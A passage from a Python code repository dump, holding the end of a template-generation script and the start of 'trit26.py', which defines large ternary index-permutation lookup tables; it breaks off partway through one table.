--3mb=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,-1,1,1,1,0,-1,1,0,0,-1,-1,-1,0,0,1,1,0,0,0,0,0,0,0,1,-1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] 419 | startingstate, mb1, mb2, mb3 = argparse(sys.argv[1:]) 420 | gentemplate(startingstate, mb1, mb2, mb3) 421 | -------------------------------------------------------------------------------- /template/trit26.py: -------------------------------------------------------------------------------- 1 | from random import randint 2 | from pycurl import Curl 3 | import sys, ast, getopt, types 4 | 5 | 6 | index = {0: [0, 364], 1: [364, 728], 2: [728, 363], 3: [363, 727], 4: [727, 362], 5: [362, 726], 6: [726, 361], 7: [361, 725], 8: [725, 360], 9: [360, 724], 10: [724, 359], 11: [359, 723], 12: [723, 358], 13: [358, 722], 14: [722, 357], 15: [357, 721], 16: [721, 356], 17: [356, 720], 18: [720, 355], 19: [355, 719], 20: [719, 354], 21: [354, 718], 22: [718, 353], 23: [353, 717], 24: [717, 352], 25: [352, 716], 26: [716, 351], 27: [351, 715], 28: [715, 350], 29: [350, 714], 30: [714, 349], 31: [349, 713], 32: [713, 348], 33: [348, 712], 34: [712, 347], 35: [347, 711], 36: [711, 346], 37: [346, 710], 38: [710, 345], 39: [345, 709], 40: [709, 344], 41: [344, 708], 42: [708, 343], 43: [343, 707], 44: [707, 342], 45: [342, 706], 46: [706, 341], 47: [341, 705], 48: [705, 340], 49: [340, 704], 50: [704, 339], 51: [339, 703], 52: [703, 338], 53: [338, 702], 54: [702, 337], 55: [337, 701], 56: [701, 336], 57: [336, 700], 58: [700, 335], 59: [335, 699], 60: [699, 334], 61: [334, 698], 62: [698, 333], 63: [333, 697], 64: [697, 332], 65: [332, 696], 66: [696, 331], 67: [331, 695], 68: [695, 330], 69: [330, 694], 70: [694, 329], 71: [329, 693], 72: [693, 328], 73: [328, 692], 74: [692, 327], 75: [327, 691], 76: [691, 326], 77: [326, 690], 78: [690, 325], 79: [325, 689], 80: [689, 324], 81: [324, 688], 82: [688, 323], 83: [323, 687], 84: [687, 322], 85: [322, 686], 86: [686, 321], 87: [321, 685], 88: [685, 320], 89: [320, 684], 90: [684, 319], 91: [319, 683], 92: [683, 318], 93: [318, 682], 94: [682, 317], 95: [317, 681], 96: [681, 316], 97: [316, 680], 98: [680, 315], 99: [315, 679], 100: [679, 314], 101: [314, 678], 102: [678, 313], 103: [313, 677], 104: [677, 312], 105: [312, 676], 106: [676, 311], 107: [311, 675], 108: [675, 310], 109: [310, 674], 110: [674, 309], 111: [309, 673], 112: [673, 308], 113: [308, 672], 114: [672, 307], 115: [307, 671], 116: [671, 306], 117: [306, 670], 118: [670, 305], 119: [305, 669], 120: [669, 304], 121: [304, 668], 122: [668, 303], 123: [303, 667], 124: [667, 302], 125: [302, 666], 126: [666, 301], 127: [301, 665], 128: [665, 300], 129: [300, 664], 130: [664, 299], 131: [299, 663], 132: [663, 298], 133: [298, 662], 134: [662, 297], 135: [297, 661], 136: [661, 296], 137: [296, 660], 138: [660, 295], 139: [295, 659], 140: [659, 294], 141: [294, 658], 142: [658, 293], 143: [293, 657], 144: [657, 292], 145: [292, 656], 146: [656, 291], 147: [291, 655], 148: [655, 290], 149: [290, 654], 150: [654, 289], 151: [289, 653], 152: [653, 288], 153: [288, 652], 154: [652, 287], 155: [287, 651], 156: [651, 286], 157: [286, 650], 158: [650, 285], 159: [285, 649], 160: [649, 284], 161: [284, 648], 162: [648, 283], 163: [283, 647], 164: [647, 282], 165: [282, 646], 166: [646, 281], 167: [281, 645], 168: [645, 280], 169: [280, 644], 170: [644, 279], 171: [279, 643], 172: [643, 278], 173: [278, 642], 174: [642, 277], 175: [277, 641], 176: [641, 276], 177: [276, 640], 178: [640, 275], 179: [275, 639], 180: [639, 274], 181: [274, 638], 182: [638, 273], 183: [273, 637], 184: [637, 272], 185: [272, 636], 186: [636, 271], 187: [271, 635], 188: [635, 270], 189: [270, 634], 190: [634, 269], 191: [269, 633], 192: [633, 268], 193: [268, 632], 194: [632, 267], 195: [267, 631], 196: [631, 266], 197: [266, 630], 198: [630, 265], 199: [265, 629], 200: [629, 264], 201: [264, 628], 202: [628, 263], 203: [263, 627], 204: [627, 262], 205: [262, 626], 206: [626, 261], 207: [261, 625], 208: [625, 260], 209: [260, 624], 210: [624, 259], 211: [259, 623], 212: [623, 258], 213: [258, 622], 214: [622, 257], 215: [257, 621], 216: [621, 256], 217: [256, 620], 218: [620, 255], 219: [255, 619], 220: [619, 254], 221: [254, 618], 222: [618, 253], 223: [253, 617], 224: [617, 252], 225: [252, 616], 226: [616, 251], 227: [251, 615], 228: [615, 250], 229: [250, 614], 230: [614, 249], 231: [249, 613], 232: [613, 248], 233: [248, 612], 234: [612, 247], 235: [247, 611], 236: [611, 246], 237: [246, 610], 238: [610, 245], 239: [245, 609], 240: [609, 244], 241: [244, 608], 242: [608, 243], 243: [243, 607], 244: [607, 242], 245: [242, 606], 246: [606, 241], 247: [241, 605], 248: [605, 240], 249: [240, 604], 250: [604, 239], 251: [239, 603], 252: [603, 238], 253: [238, 602], 254: [602, 237], 255: [237, 601], 256: [601, 236], 257: [236, 600], 258: [600, 235], 259: [235, 599], 260: [599, 234], 261: [234, 598], 262: [598, 233], 263: [233, 597], 264: [597, 232], 265: [232, 596], 266: [596, 231], 267: [231, 595], 268: [595, 230], 269: [230, 594], 270: [594, 229], 271: [229, 593], 272: [593, 228], 273: [228, 592], 274: [592, 227], 275: [227, 591], 276: [591, 226], 277: [226, 590], 278: [590, 225], 279: [225, 589], 280: [589, 224], 281: [224, 588], 282: [588, 223], 283: [223, 587], 284: [587, 222], 285: [222, 586], 286: [586, 221], 287: [221, 585], 288: [585, 220], 289: [220, 584], 290: [584, 219], 291: [219, 583], 292: [583, 218], 293: [218, 582], 294: [582, 217], 295: [217, 581], 296: [581, 216], 297: [216, 580], 298: [580, 215], 299: [215, 579], 300: [579, 214], 301: [214, 578], 302: [578, 213], 303: [213, 577], 304: [577, 212], 305: [212, 576], 306: [576, 211], 307: [211, 575], 308: [575, 210], 309: [210, 574], 310: [574, 209], 311: [209, 573], 312: [573, 208], 313: [208, 572], 314: [572, 207], 315: [207, 571], 316: [571, 206], 317: [206, 570], 318: [570, 205], 319: [205, 569], 320: [569, 204], 321: [204, 568], 322: [568, 203], 323: [203, 567], 324: [567, 202], 325: [202, 566], 326: [566, 201], 327: [201, 565], 328: [565, 200], 329: [200, 564], 330: [564, 199], 331: [199, 563], 332: [563, 198], 333: [198, 562], 334: [562, 197], 335: [197, 561], 336: [561, 196], 337: [196, 560], 338: [560, 195], 339: [195, 559], 340: [559, 194], 341: [194, 558], 342: [558, 193], 343: [193, 557], 344: [557, 192], 345: [192, 556], 346: [556, 191], 347: [191, 555], 348: [555, 190], 349: [190, 554], 350: [554, 189], 351: [189, 553], 352: [553, 188], 353: [188, 552], 354: [552, 187], 355: [187, 551], 356: [551, 186], 357: [186, 550], 358: [550, 185], 359: [185, 549], 360: [549, 184], 361: [184, 548], 362: [548, 183], 363: [183, 547], 364: [547, 182], 365: [182, 546], 366: [546, 181], 367: [181, 545], 368: [545, 180], 369: [180, 544], 370: [544, 179], 371: [179, 543], 372: [543, 178], 373: [178, 542], 374: [542, 177], 375: [177, 541], 376: [541, 176], 377: [176, 540], 378: [540, 175], 379: [175, 539], 380: [539, 174], 381: [174, 538], 382: [538, 173], 383: [173, 537], 384: [537, 172], 385: [172, 536], 386: [536, 171], 387: [171, 535], 388: [535, 170], 389: [170, 534], 390: [534, 169], 391: [169, 533], 392: [533, 168], 393: [168, 532], 394: [532, 167], 395: [167, 531], 396: [531, 166], 397: [166, 530], 398: [530, 165], 399: [165, 529], 400: [529, 164], 401: [164, 528], 402: [528, 163], 403: [163, 527], 404: [527, 162], 405: [162, 526], 406: [526, 161], 407: [161, 525], 408: [525, 160], 409: [160, 524], 410: [524, 159], 411: [159, 523], 412: [523, 158], 413: [158, 522], 414: [522, 157], 415: [157, 521], 416: [521, 156], 417: [156, 520], 418: [520, 155], 419: [155, 519], 420: [519, 154], 421: [154, 518], 422: [518, 153], 423: [153, 517], 424: [517, 152], 425: [152, 516], 426: [516, 151], 427: [151, 515], 428: [515, 150], 429: [150, 514], 430: [514, 149], 431: [149, 513], 432: [513, 148], 433: [148, 512], 434: [512, 147], 435: [147, 511], 436: [511, 146], 437: [146, 510], 438: [510, 145], 439: [145, 509], 440: [509, 144], 441: [144, 508], 442: [508, 143], 443: [143, 507], 444: [507, 142], 445: [142, 506], 446: [506, 141], 447: [141, 505], 448: [505, 140], 449: [140, 504], 450: [504, 139], 451: [139, 503], 452: [503, 138], 453: [138, 502], 454: [502, 137], 455: [137, 501], 456: [501, 136], 457: [136, 500], 458: [500, 135], 459: [135, 499], 460: [499, 134], 461: [134, 498], 462: [498, 133], 463: [133, 497], 464: [497, 132], 465: [132, 496], 466: [496, 131], 467: [131, 495], 468: [495, 130], 469: [130, 494], 470: [494, 129], 471: [129, 493], 472: [493, 128], 473: [128, 492], 474: [492, 127], 475: [127, 491], 476: [491, 126], 477: [126, 490], 478: [490, 125], 479: [125, 489], 480: [489, 124], 481: [124, 488], 482: [488, 123], 483: [123, 487], 484: [487, 122], 485: [122, 486], 486: [486, 121], 487: [121, 485], 488: [485, 120], 489: [120, 484], 490: [484, 119], 491: [119, 483], 492: [483, 118], 493: [118, 482], 494: [482, 117], 495: [117, 481], 496: [481, 116], 497: [116, 480], 498: [480, 115], 499: [115, 479], 500: [479, 114], 501: [114, 478], 502: [478, 113], 503: [113, 477], 504: [477, 112], 505: [112, 476], 506: [476, 111], 507: [111, 475], 508: [475, 110], 509: [110, 474], 510: [474, 109], 511: [109, 473], 512: [473, 108], 513: [108, 472], 514: [472, 107], 515: [107, 471], 516: [471, 106], 517: [106, 470], 518: [470, 105], 519: [105, 469], 520: [469, 104], 521: [104, 468], 522: [468, 103], 523: [103, 467], 524: [467, 102], 525: [102, 466], 526: [466, 101], 527: [101, 465], 528: [465, 100], 529: [100, 464], 530: [464, 99], 531: [99, 463], 532: [463, 98], 533: [98, 462], 534: [462, 97], 535: [97, 461], 536: [461, 96], 537: [96, 460], 538: [460, 95], 539: [95, 459], 540: [459, 94], 541: [94, 458], 542: [458, 93], 543: [93, 457], 544: [457, 92], 545: [92, 456], 546: [456, 91], 547: [91, 455], 548: [455, 90], 549: [90, 454], 550: [454, 89], 551: [89, 453], 552: [453, 88], 553: [88, 452], 554: [452, 87], 555: [87, 451], 556: [451, 86], 557: [86, 450], 558: [450, 85], 559: [85, 449], 560: [449, 84], 561: [84, 448], 562: [448, 83], 563: [83, 447], 564: [447, 82], 565: [82, 446], 566: [446, 81], 567: [81, 445], 568: [445, 80], 569: [80, 444], 570: [444, 79], 571: [79, 443], 572: [443, 78], 573: [78, 442], 574: [442, 77], 575: [77, 441], 576: [441, 76], 577: [76, 440], 578: [440, 75], 579: [75, 439], 580: [439, 74], 581: [74, 438], 582: [438, 73], 583: [73, 437], 584: [437, 72], 585: [72, 436], 586: [436, 71], 587: [71, 435], 588: [435, 70], 589: [70, 434], 590: [434, 69], 591: [69, 433], 592: [433, 68], 593: [68, 432], 594: [432, 67], 595: [67, 431], 596: [431, 66], 597: [66, 430], 598: [430, 65], 599: [65, 429], 600: [429, 64], 601: [64, 428], 602: [428, 63], 603: [63, 427], 604: [427, 62], 605: [62, 426], 606: [426, 61], 607: [61, 425], 608: [425, 60], 609: [60, 424], 610: [424, 59], 611: [59, 423], 612: [423, 58], 613: [58, 422], 614: [422, 57], 615: [57, 421], 616: [421, 56], 617: [56, 420], 618: [420, 55], 619: [55, 419], 620: [419, 54], 621: [54, 418], 622: [418, 53], 623: [53, 417], 624: [417, 52], 625: [52, 416], 626: [416, 51], 627: [51, 415], 628: [415, 50], 629: [50, 414], 630: [414, 49], 631: [49, 413], 632: [413, 48], 633: [48, 412], 634: [412, 47], 635: [47, 411], 636: [411, 46], 637: [46, 410], 638: [410, 45], 639: [45, 409], 640: [409, 44], 641: [44, 408], 642: [408, 43], 643: [43, 407], 644: [407, 42], 645: [42, 406], 646: [406, 41], 647: [41, 405], 648: [405, 40], 649: [40, 404], 650: [404, 39], 651: [39, 403], 652: [403, 38], 653: [38, 402], 654: [402, 37], 655: [37, 401], 656: [401, 36], 657: [36, 400], 658: [400, 35], 659: [35, 399], 660: [399, 34], 661: [34, 398], 662: [398, 33], 663: [33, 397], 664: [397, 32], 665: [32, 396], 666: [396, 31], 667: [31, 395], 668: [395, 30], 669: [30, 394], 670: [394, 29], 671: [29, 393], 672: [393, 28], 673: [28, 392], 674: [392, 27], 675: [27, 391], 676: [391, 26], 677: [26, 390], 678: [390, 25], 679: [25, 389], 680: [389, 24], 681: [24, 388], 682: [388, 23], 683: [23, 387], 684: [387, 22], 685: [22, 386], 686: [386, 21], 687: [21, 385], 688: [385, 20], 689: [20, 384], 690: [384, 19], 691: [19, 383], 692: [383, 18], 693: [18, 382], 694: [382, 17], 695: [17, 381], 696: [381, 16], 697: [16, 380], 698: [380, 15], 699: [15, 379], 700: [379, 14], 701: [14, 378], 702: [378, 13], 703: [13, 377], 704: [377, 12], 705: [12, 376], 706: [376, 11], 707: [11, 375], 708: [375, 10], 709: [10, 374], 710: [374, 9], 711: [9, 373], 712: [373, 8], 713: [8, 372], 714: [372, 7], 715: [7, 371], 716: [371, 6], 717: [6, 370], 718: [370, 5], 719: [5, 369], 720: [369, 4], 721: [4, 368], 722: [368, 3], 723: [3, 367], 724: [367, 2], 725: [2, 366], 726: [366, 1], 727: [1, 365], 728: [365, 0]} 7 | 8 | #0 impacts 0 with 364 9 | larr = {0: (0, 364), 1: (727, 365), 2: (725, 366), 3: (723, 367), 4: (721, 368), 5: (719, 369), 6: (717, 370), 7: (715, 371), 8: (713, 372), 9: (711, 373), 10: (709, 374), 11: (707, 375), 12: (705, 376), 13: (703, 377), 14: (701, 378), 15: (699, 379), 16: (697, 380), 17: (695, 381), 18: (693, 382), 19: (691, 383), 20: (689, 384), 21: (687, 385), 22: (685, 386), 23: (683, 387), 24: (681, 388), 25: (679, 389), 26: (677, 390), 27: (675, 391), 28: (673, 392), 29: (671, 393), 30: (669, 394), 31: (667, 395), 32: (665, 396), 33: (663, 397), 34: (661, 398), 35: (659, 399), 36: (657, 400), 37: (655, 401), 38: (653, 402), 39: (651, 403), 40: (649, 404), 41: (647, 405), 42: (645, 406), 43: (643, 407), 44: (641, 408), 45: (639, 409), 46: (637, 410), 47: (635, 411), 48: (633, 412), 49: (631, 413), 50: (629, 414), 51: (627, 415), 52: (625, 416), 53: (623, 417), 54: (621, 418), 55: (619, 419), 56: (617, 420), 57: (615, 421), 58: (613, 422), 59: (611, 423), 60: (609, 424), 61: (607, 425), 62: (605, 426), 63: (603, 427), 64: (601, 428), 65: (599, 429), 66: (597, 430), 67: (595, 431), 68: (593, 432), 69: (591, 433), 70: (589, 434), 71: (587, 435), 72: (585, 436), 73: (583, 437), 74: (581, 438), 75: (579, 439), 76: (577, 440), 77: (575, 441), 78: (573, 442), 79: (571, 443), 80: (569, 444), 81: (567, 445), 82: (565, 446), 83: (563, 447), 84: (561, 448), 85: (559, 449), 86: (557, 450), 87: (555, 451), 88: (553, 452), 89: (551, 453), 90: (549, 454), 91: (547, 455), 92: (545, 456), 93: (543, 457), 94: (541, 458), 95: (539, 459), 96: (537, 460), 97: (535, 461), 98: (533, 462), 99: (531, 463), 100: (529, 464), 101: (527, 465), 102: (525, 466), 103: (523, 467), 104: (521, 468), 105: (519, 469), 106: (517, 470), 107: (515, 471), 108: (513, 472), 109: (511, 473), 110: (509, 474), 111: (507, 475), 112: (505, 476), 113: (503, 477), 114: (501, 478), 115: (499, 479), 116: (497, 480), 117: (495, 481), 118: (493, 482), 119: (491, 483), 120: (489, 484), 121: (487, 485), 122: (485, 486), 123: (483, 487), 124: (481, 488), 125: (479, 489), 126: (477, 490), 127: (475, 491), 128: (473, 492), 129: (471, 493), 130: (469, 494), 131: (467, 495), 132: (465, 496), 133: (463, 497), 134: (461, 498), 135: (459, 499), 136: (457, 500), 137: (455, 501), 138: (453, 502), 139: (451, 503), 140: (449, 504), 141: (447, 505), 142: (445, 506), 143: (443, 507), 144: (441, 508), 145: (439, 509), 146: (437, 510), 147: (435, 511), 148: (433, 512), 149: (431, 513), 150: (429, 514), 151: (427, 515), 152: (425, 516), 153: (423, 517), 154: (421, 518), 155: (419, 519), 156: (417, 520), 157: (415, 521), 158: (413, 522), 159: (411, 523), 160: (409, 524), 161: (407, 525), 162: (405, 526), 163: (403, 527), 164: (401, 528), 165: (399, 529), 166: (397, 530), 167: (395, 531), 168: (393, 532), 169: (391, 533), 170: (389, 534), 171: (387, 535), 172: (385, 536), 173: (383, 537), 174: (381, 538), 175: (379, 539), 176: (377, 540), 177: (375, 541), 178: (373, 542), 179: (371, 543), 180: (369, 544), 181: (367, 545), 182: (365, 546), 183: (363, 547), 184: (361, 548), 185: (359, 549), 186: (357, 550), 187: (355, 551), 188: (353, 552), 189: (351, 553), 190: (349, 554), 191: (347, 555), 192: (345, 556), 193: (343, 557), 194: (341, 558), 195: (339, 559), 196: (337, 560), 197: (335, 561), 198: (333, 562), 199: (331, 563), 200: (329, 564), 201: (327, 565), 202: (325, 566), 203: (323, 567), 204: (321, 568), 205: (319, 569), 206: (317, 570), 207: (315, 571), 208: (313, 572), 209: (311, 573), 210: (309, 574), 211: (307, 575), 212: (305, 576), 213: (303, 577), 214: (301, 578), 215: (299, 579), 216: (297, 580), 217: (295, 581), 218: (293, 582), 219: (291, 583), 220: (289, 584), 221: (287, 585), 222: (285, 586), 223: (283, 587), 224: (281, 588), 225: (279, 589), 226: (277, 590), 227: (275, 591), 228: (273, 592), 229: (271, 593), 230: (269, 594), 231: (267, 595), 232: (265, 596), 233: (263, 597), 234: (261, 598), 235: (259, 599), 236: (257, 600), 237: (255, 601), 238: (253, 602), 239: (251, 603), 240: (249, 604), 241: (247, 605), 242: (245, 606), 243: (243, 607), 244: (241, 608), 245: (239, 609), 246: (237, 610), 247: (235, 611), 248: (233, 612), 249: (231, 613), 250: (229, 614), 251: (227, 615), 252: (225, 616), 253: (223, 617), 254: (221, 618), 255: (219, 619), 256: (217, 620), 257: (215, 621), 258: (213, 622), 259: (211, 623), 260: (209, 624), 261: (207, 625), 262: (205, 626), 263: (203, 627), 264: (201, 628), 265: (199, 629), 266: (197, 630), 267: (195, 631), 268: (193, 632), 269: (191, 633), 270: (189, 634), 271: (187, 635), 272: (185, 636), 273: (183, 637), 274: (181, 638), 275: (179, 639), 276: (177, 640), 277: (175, 641), 278: (173, 642), 279: (171, 643), 280: (169, 644), 281: (167, 645), 282: (165, 646), 283: (163, 647), 284: (161, 648), 285: (159, 649), 286: (157, 650), 287: (155, 651), 288: (153, 652), 289: (151, 653), 290: (149, 654), 291: (147, 655), 292: (145, 656), 293: (143, 657), 294: (141, 658), 295: (139, 659), 296: (137, 660), 297: (135, 661), 298: (133, 662), 299: (131, 663), 300: (129, 664), 301: (127, 665), 302: (125, 666), 303: (123, 667), 304: (121, 668), 305: (119, 669), 306: (117, 670), 307: (115, 671), 308: (113, 672), 309: (111, 673), 310: (109, 674), 311: (107, 675), 312: (105, 676), 313: (103, 677), 314: (101, 678), 315: (99, 679), 316: (97, 680), 317: (95, 681), 318: (93, 682), 319: (91, 683), 320: (89, 684), 321: (87, 685), 322: (85, 686), 323: (83, 687), 324: (81, 688), 325: (79, 689), 326: (77, 690), 327: (75, 691), 328: (73, 692), 329: (71, 693), 330: (69, 694), 331: (67, 695), 332: (65, 696), 333: (63, 697), 334: (61, 698), 335: (59, 699), 336: (57, 700), 337: (55, 701), 338: (53, 702), 339: (51, 703), 340: (49, 704), 341: (47, 705), 342: (45, 706), 343: (43, 707), 344: (41, 708), 345: (39, 709), 346: (37, 710), 347: (35, 711), 348: (33, 712), 349: (31, 713), 350: (29, 714), 351: (27, 715), 352: (25, 716), 353: (23, 717), 354: (21, 718), 355: (19, 719), 356: (17, 720), 357: (15, 721), 358: (13, 722), 359: (11, 723), 360: (9, 724), 361: (7, 725), 362: (5, 726), 363: (3, 727), 364: (1, 728), 365: (728, 0), 366: (726, 1), 367: (724, 2), 368: (722, 3), 369: (720, 4), 370: (718, 5), 371: (716, 6), 372: (714, 7), 373: (712, 8), 374: (710, 9), 375: (708, 10), 376: (706, 11), 377: (704, 12), 378: (702, 13), 379: (700, 14), 380: (698, 15), 381: (696, 16), 382: (694, 17), 383: (692, 18), 384: (690, 19), 385: (688, 20), 386: (686, 21), 387: (684, 22), 388: (682, 23), 389: (680, 24), 390: (678, 25), 391: (676, 26), 392: (674, 27), 393: (672, 28), 394: (670, 29), 395: (668, 30), 396: (666, 31), 397: (664, 32), 398: (662, 33), 399: (660, 34), 400: (658, 35), 401: (656, 36), 402: (654, 37), 403: (652, 38), 404: (650, 39), 405: (648, 40), 406: (646, 41), 407: (644, 42), 408: (642, 43), 409: (640, 44), 410: (638, 45), 411: (636, 46), 412: (634, 47), 413: (632, 48), 414: (630, 49), 415: (628, 50), 416: (626, 51), 417: (624, 52), 418: (622, 53), 419: (620, 54), 420: (618, 55), 421: (616, 56), 422: (614, 57), 423: (612, 58), 424: (610, 59), 425: (608, 60), 426: (606, 61), 427: (604, 62), 428: (602, 63), 429: (600, 64), 430: (598, 65), 431: (596, 66), 432: (594, 67), 433: (592, 68), 434: (590, 69), 435: (588, 70), 436: (586, 71), 437: (584, 72), 438: (582, 73), 439: (580, 74), 440: (578, 75), 441: (576, 76), 442: (574, 77), 443: (572, 78), 444: (570, 79), 445: (568, 80), 446: (566, 81), 447: (564, 82), 448: (562, 83), 449: (560, 84), 450: (558, 85), 451: (556, 86), 452: (554, 87), 453: (552, 88), 454: (550, 89), 455: (548, 90), 456: (546, 91), 457: (544, 92), 458: (542, 93), 459: (540, 94), 460: (538, 95), 461: (536, 96), 462: (534, 97), 463: (532, 98), 464: (530, 99), 465: (528, 100), 466: (526, 101), 467: (524, 102), 468: (522, 103), 469: (520, 104), 470: (518, 105), 471: (516, 106), 472: (514, 107), 473: (512, 108), 474: (510, 109), 475: (508, 110), 476: (506, 111), 477: (504, 112), 478: (502, 113), 479: (500, 114), 480: (498, 115), 481: (496, 116), 482: (494, 117), 483: (492, 118), 484: (490, 119), 485: (488, 120), 486: (486, 121), 487: (484, 122), 488: (482, 123), 489: (480, 124), 490: (478, 125), 491: (476, 126), 492: (474, 127), 493: (472, 128), 494: (470, 129), 495: (468, 130), 496: (466, 131), 497: (464, 132), 498: (462, 133), 499: (460, 134), 500: (458, 135), 501: (456, 136), 502: (454, 137), 503: (452, 138), 504: (450, 139), 505: (448, 140), 506: (446, 141), 507: (444, 142), 508: (442, 143), 509: (440, 144), 510: (438, 145), 511: (436, 146), 512: (434, 147), 513: (432, 148), 514: (430, 149), 515: (428, 150), 516: (426, 151), 517: (424, 152), 518: (422, 153), 519: (420, 154), 520: (418, 155), 521: (416, 156), 522: (414, 157), 523: (412, 158), 524: (410, 159), 525: (408, 160), 526: (406, 161), 527: (404, 162), 528: (402, 163), 529: (400, 164), 530: (398, 165), 531: (396, 166), 532: (394, 167), 533: (392, 168), 534: (390, 169), 535: (388, 170), 536: (386, 171), 537: (384, 172), 538: (382, 173), 539: (380, 174), 540: (378, 175), 541: (376, 176), 542: (374, 177), 543: (372, 178), 544: (370, 179), 545: (368, 180), 546: (366, 181), 547: (364, 182), 548: (362, 183), 549: (360, 184), 550: (358, 185), 551: (356, 186), 552: (354, 187), 553: (352, 188), 554: (350, 189), 555: (348, 190), 556: (346, 191), 557: (344, 192), 558: (342, 193), 559: (340, 194), 560: (338, 195), 561: (336, 196), 562: (334, 197), 563: (332, 198), 564: (330, 199), 565: (328, 200), 566: (326, 201), 567: (324, 202), 568: (322, 203), 569: (320, 204), 570: (318, 205), 571: (316, 206), 572: (314, 207), 573: (312, 208), 574: (310, 209), 575: (308, 210), 576: (306, 211), 577: (304, 212), 578: (302, 213), 579: (300, 214), 580: (298, 215), 581: (296, 216), 582: (294, 217), 583: (292, 218), 584: (290, 219), 585: (288, 220), 586: (286, 221), 587: (284, 222), 588: (282, 223), 589: (280, 224), 590: (278, 225), 591: (276, 226), 592: (274, 227), 593: (272, 228), 594: (270, 229), 595: (268, 230), 596: (266, 231), 597: (264, 232), 598: (262, 233), 599: (260, 234), 600: (258, 235), 601: (256, 236), 602: (254, 237), 603: (252, 238), 604: (250, 239), 605: (248, 240), 606: (246, 241), 607: (244, 242), 608: (242, 243), 609: (240, 244), 610: (238, 245), 611: (236, 246), 612: (234, 247), 613: (232, 248), 614: (230, 249), 615: (228, 250), 616: (226, 251), 617: (224, 252), 618: (222, 253), 619: (220, 254), 620: (218, 255), 621: (216, 256), 622: (214, 257), 623: (212, 258), 624: (210, 259), 625: (208, 260), 626: (206, 261), 627: (204, 262), 628: (202, 263), 629: (200, 264), 630: (198, 265), 631: (196, 266), 632: (194, 267), 633: (192, 268), 634: (190, 269), 635: (188, 270), 636: (186, 271), 637: (184, 272), 638: (182, 273), 639: (180, 274), 640: (178, 275), 641: (176, 276), 642: (174, 277), 643: (172, 278), 644: (170, 279), 645: (168, 280), 646: (166, 281), 647: (164, 282), 648: (162, 283), 649: (160, 284), 650: (158, 285), 651: (156, 286), 652: (154, 287), 653: (152, 288), 654: (150, 289), 655: (148, 290), 656: (146, 291), 657: (144, 292), 658: (142, 293), 659: (140, 294), 660: (138, 295), 661: (136, 296), 662: (134, 297), 663: (132, 298), 664: (130, 299), 665: (128, 300), 666: (126, 301), 667: (124, 302), 668: (122, 303), 669: (120, 304), 670: (118, 305), 671: (116, 306), 672: (114, 307), 673: (112, 308), 674: (110, 309), 675: (108, 310), 676: (106, 311), 677: (104, 312), 678: (102, 313), 679: (100, 314), 680: (98, 315), 681: (96, 316), 682: (94, 317), 683: (92, 318), 684: (90, 319), 685: (88, 320), 686: (86, 321), 687: (84, 322), 688: (82, 323), 689: (80, 324), 690: (78, 325), 691: (76, 326), 692: (74, 327), 693: (72, 328), 694: (70, 329), 695: (68, 330), 696: (66, 331), 697: (64, 332), 698: (62, 333), 699: (60, 334), 700: (58, 335), 701: (56, 336), 702: (54, 337), 703: (52, 338), 704: (50, 339), 705: (48, 340), 706: (46, 341), 707: (44, 342), 708: (42, 343), 709: (40, 344), 710: (38, 345), 711: (36, 346), 712: (34, 347), 713: (32, 348), 714: (30, 349), 715: (28, 350), 716: (26, 351), 717: (24, 352), 718: (22, 353), 719: (20, 354), 720: (18, 355), 721: (16, 356), 722: (14, 357), 723: (12, 358), 724: (10, 359), 725: (8, 360), 726: (6, 361), 727: (4, 362), 728: (2, 363)} 10 | rarr = {0: (728, 365), 1: (726, 366), 2: (724, 367), 3: (722, 368), 4: (720, 369), 5: (718, 370), 6: (716, 371), 7: (714, 372), 8: (712, 373), 9: (710, 374), 10: (708, 375), 11: (706, 376), 12: (704, 377), 13: (702, 378), 14: (700, 379), 15: (698, 380), 16: (696, 381), 17: (694, 382), 18: (692, 383), 19: (690, 384), 20: (688, 385), 21: (686, 386), 22: (684, 387), 23: (682, 388), 24: (680, 389), 25: (678, 390), 26: (676, 391), 27: (674, 392), 28: (672, 393), 29: (670, 394), 30: (668, 395), 31: (666, 396), 32: (664, 397), 33: (662, 398), 34: (660, 399), 35: (658, 400), 36: (656, 401), 37: (654, 402), 38: (652, 403), 39: (650, 404), 40: (648, 405), 41: (646, 406), 42: (644, 407), 43: (642, 408), 44: (640, 409), 45: (638, 410), 46: (636, 411), 47: (634, 412), 48: (632, 413), 49: (630, 414), 50: (628, 415), 51: (626, 416), 52: (624, 417), 53: (622, 418), 54: (620, 419), 55: (618, 420), 56: (616, 421), 57: (614, 422), 58: (612, 423), 59: (610, 424), 60: (608, 425), 61: (606, 426), 62: (604, 427), 63: (602, 428), 64: (600, 429), 65: (598, 430), 66: (596, 431), 67: (594, 432), 68: (592, 433), 69: (590, 434), 70: (588, 435), 71: (586, 436), 72: (584, 437), 73: (582, 438), 74: (580, 439), 75: (578, 440), 76: (576, 441), 77: (574, 442), 78: (572, 443), 79: (570, 444), 80: (568, 445), 81: (566, 446), 82: (564, 447), 83: (562, 448), 84: (560, 449), 85: (558, 450), 86: (556, 451), 87: (554, 452), 88: (552, 453), 89: (550, 454), 90: (548, 455), 91: (546, 456), 92: (544, 457), 93: (542, 458), 94: (540, 459), 95: (538, 460), 96: (536, 461), 97: (534, 462), 98: (532, 463), 99: (530, 464), 100: (528, 465), 101: (526, 466), 102: (524, 467), 103: (522, 468), 104: (520, 469), 105: (518, 470), 106: (516, 471), 107: (514, 472), 108: (512, 473), 109: (510, 474), 110: (508, 475), 111: (506, 476), 112: (504, 477), 113: (502, 478), 114: (500, 479), 115: (498, 480), 116: (496, 481), 117: (494, 482), 118: (492, 483), 119: (490, 484), 120: (488, 485), 121: (486, 486), 122: (484, 487), 123: (482, 488), 124: (480, 489), 125: (478, 490), 126: (476, 491), 127: (474, 492), 128: (472, 493), 129: (470, 494), 130: (468, 495), 131: 